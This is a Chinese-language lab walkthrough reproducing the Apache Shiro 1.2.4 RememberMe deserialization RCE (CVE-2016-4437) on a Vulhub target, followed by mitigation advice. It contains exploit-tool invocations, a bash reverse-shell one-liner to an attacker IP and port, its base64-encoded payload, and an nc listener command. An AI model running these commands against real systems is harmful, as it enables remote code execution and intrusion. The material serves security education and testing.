Shiro-CVE-2016-4437 漏洞复现
字数 1901 2025-08-10 17:51:54
Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437) 完整复现指南
1. 漏洞概述
1.1 Apache Shiro 简介
Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,提供以下核心功能:
- 身份验证:支持用户名/密码、LDAP、OAuth 等多种认证方式
- 授权:基于角色和权限的授权机制
- 会话管理:支持内存、数据库、Redis 等会话存储
- 密码加密:提供密码加密和散列功能
- Web 集成:支持 Spring MVC、Struts 等 Web 框架
1.2 漏洞原理
RememberMe 功能工作机制:
- 用户登录成功后生成加密并编码的 Cookie
- Cookie 的 key 为 RememberMe,值为序列化数据 → AES 加密 → Base64 编码
- 服务端解析流程:
- 检索 RememberMe cookie 值
- Base64 解码
- AES 解密(使用硬编码密钥)
- 反序列化(无过滤)
漏洞成因:
- AES 加密密钥硬编码在源码中(已知密钥)
- 反序列化过程未做任何过滤
- 攻击者可构造恶意序列化数据,触发远程代码执行
1.3 漏洞信息
| 项目 | 详情 |
|---|---|
| 漏洞名称 | Apache Shiro 1.2.4 反序列化漏洞 (Shiro-550) |
| CVE 编号 | CVE-2016-4437 |
| 危害等级 | 高危 |
| 漏洞类型 | RCE (远程代码执行) |
| 受影响版本 | Apache Shiro <= 1.2.4 |
2. 环境准备
2.1 实验环境
- 攻击机:Kali Linux 2023
- 靶机:使用 Vulhub 搭建的漏洞环境
2.2 所需工具
-
漏洞检测工具:
shiro_exploit.py(Python3 + JDK1.8 环境)shiro_attack-4.5.3-SNAPSHOT-all.jar(图形化工具)
-
其他工具:
- Burp Suite 2022
- Docker
- nc (netcat)
-
在线资源:
- DNSLog 平台 (用于漏洞验证)
- Runtime.exec Payload 生成工具
2.3 环境搭建
- 下载 Vulhub 环境:
cd /home/kali/vulhub/shiro/CVE-2016-4437/ sudo docker-compose up -d - 访问
http://靶机IP:8080确认环境启动成功
3. 漏洞验证与利用
3.1 判断 Shiro 框架
- 访问目标网站
- 勾选 RememberMe 选项,输入任意账号密码登录
- 检查响应头:
- 若存在
Set-Cookie: rememberMe=deleteMe,则确认使用 Shiro 框架
- 若存在
3.2 漏洞验证方法
方法一:使用 Python 脚本 + DNSLog
- 获取 DNSLog 子域名
- 执行检测命令:
python shiro_exploit.py -t 3 -u http://靶机IP:8080 -p "ping -c 2 你的DNSLog子域名" - 检查 DNSLog 平台是否有回显
方法二:使用 JAR 工具
- 运行图形化工具:
java -jar shiro_attack-4.5.3-SNAPSHOT-all.jar - 输入目标 URL 进行检测
3.3 漏洞利用(反弹 Shell)
步骤 1:准备反弹 Shell 命令
原始命令:
bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1
示例:
bash -i >& /dev/tcp/10.9.46.170/6666 0>&1
步骤 2:加密 Payload
使用在线工具将命令转换为 Runtime.exec 格式:
- 访问 Runtime.exec Payload 生成网站
- 输入反弹 Shell 命令,获取 Base64 编码结果
示例编码结果:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC82NjY2IDA+JjE=
步骤 3:开启监听
攻击机上执行:
sudo nc -lvp 6666
步骤 4:执行攻击
使用 Python 脚本执行:
python shiro_exploit.py -t 3 -u http://靶机IP:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"
或使用 JAR 工具图形化操作
4. 防御措施
4.1 官方修复方案
-
升级 Apache Shiro 到最新版本
- 官方已在后续版本中修复此漏洞
-
修改默认密钥:
- 在 shiro.ini 或配置文件中设置自定义密钥
- 示例:
securityManager.rememberMeManager.cipherKey = 自定义复杂密钥
-
禁用 RememberMe 功能(如不需要)
4.2 其他防护建议
- 部署 WAF 等安全产品拦截恶意请求
- 实施网络隔离,限制服务器出网连接
- 定期进行安全审计和漏洞扫描
5. 参考资源
- Vulhub 漏洞环境:https://vulhub.org/#/environments/shiro/CVE-2016-4437/
- Shiro 官方文档:https://shiro.apache.org/
- CVE 详细描述:https://nvd.nist.gov/vuln/detail/CVE-2016-4437
- 漏洞分析文章:CSDN - Apache Shiro 1.2.4 反序列化漏洞分析
注意事项:
- 本教程仅用于合法安全测试和教育目的
- 在实际环境中进行测试前请确保获得授权
- 企业生产环境应及时修复此漏洞,避免被恶意利用